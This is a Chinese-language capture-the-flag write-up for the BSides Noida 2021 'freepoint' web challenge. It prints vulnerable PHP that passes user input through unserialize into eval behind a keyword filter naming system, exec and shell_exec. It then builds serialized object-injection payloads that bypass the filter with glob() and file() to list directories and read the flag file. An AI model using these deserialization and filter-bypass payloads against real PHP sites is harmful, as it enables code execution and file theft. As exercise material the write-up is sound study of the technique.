1. 程式人生 > 其它 >BSides Noida CTF 2021--Web/freepoint-glob函式

BSides Noida CTF 2021--Web/freepoint-glob函式

 1 <?php
 2 
 3 include "config.php";
 4 function filter($str) {
 5     if(preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i",$str)) {
 6         return false;
 7     } else {
 8         return true;
 9     }
10 }
11 class BSides {
12     protected
$option; 13 protected $name; 14 protected $note; 15 16 function __construct() { 17 $option = "no flag"; 18 $name = "guest"; 19 $note = "flag{flag_phake}"; 20 $this->load(); 21 } 22 23 public function load() 24 { 25 if ($this->option === "no flag") {
26 die("flag here ! :)"); 27 } else if ($this->option === "getFlag"){ 28 $this->loadFlag(); 29 } else { 30 die("You don't need flag ?"); 31 } 32 } 33 private function loadFlag() { 34 if (isset($this->note) && isset
($this->name)) { 35 if ($this->name === "admin") { 36 if (filter($this->note) == 1) { 37 eval($this->note.";"); 38 } else { 39 die("18cm30p !! :< "); 40 } 41 } 42 } 43 } 44 45 function __destruct() { 46 $this->load(); 47 } 48 } 49 50 if (isset($_GET['ctf'])) { 51 $ctf = (string)$_GET['ctf']; 52 if (check($ctf)) { //check nullbytes 53 unserialize($ctf); 54 } 55 } else { 56 highlight_file(__FILE__); 57 } 58 ?>

首先看程式碼,很明顯有個反序列化

要滿足:

$option = "getFlag"

$name = "admin";

$note="你想執行的命令";

這裡說一下 ,程式碼反序列化之前會檢查是否有空位元組

三種類型變數區別:

public無標記,變數名不變,長度不變: s:2:"op";i:2;
protected在變數名前新增標記\00*\00,長度+3: s:5:"\00*\00op";i:2;
private在變數名前新增標記\00(classname)\00,長度+2+類名長度: s:17:"\00FileHandler_Z\00op";i:2;

因此 要是序列化protected變數,會產生空位元組,因此要改成public

構造:

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo (' test')";//這裡注意單引號後面加空格,正則會過濾
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
?>
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:14:"echo (' test')";}

由於正則過濾了一大堆,採用glob函式

比如列印當前目錄下目錄和檔名:

print_r glob('*')

注意glob返回值是陣列,所以一般採用print_r來輸出陣列資訊。

該題過濾了下劃線,所以不能用。採用echo的話要加上[0]來表示陣列某一個量

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo  glob('*')[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:18:"echo  glob('*')[0]";}

?>

繼續訪問根目錄,找到flag檔案,過程不詳細描述了

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo  glob('/home/*')[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:24:"echo  glob('/home/*')[0]";}
?>

這裡要讀取檔案內容,可以採用file函式

但是正則過濾了小數點和下劃線,因此flag檔名字不能出現在note

可以利用函式返回值作為引數繞過

構造

file(glob('/home/*')[0])

注意file()返回值也是陣列,因此檢視採用:

echo file(glob('/home/*')[0])[0]

最終poc:

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo file(glob('/home/*')[0])[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:32:"echo file(glob('/home/*')[0])[0]";}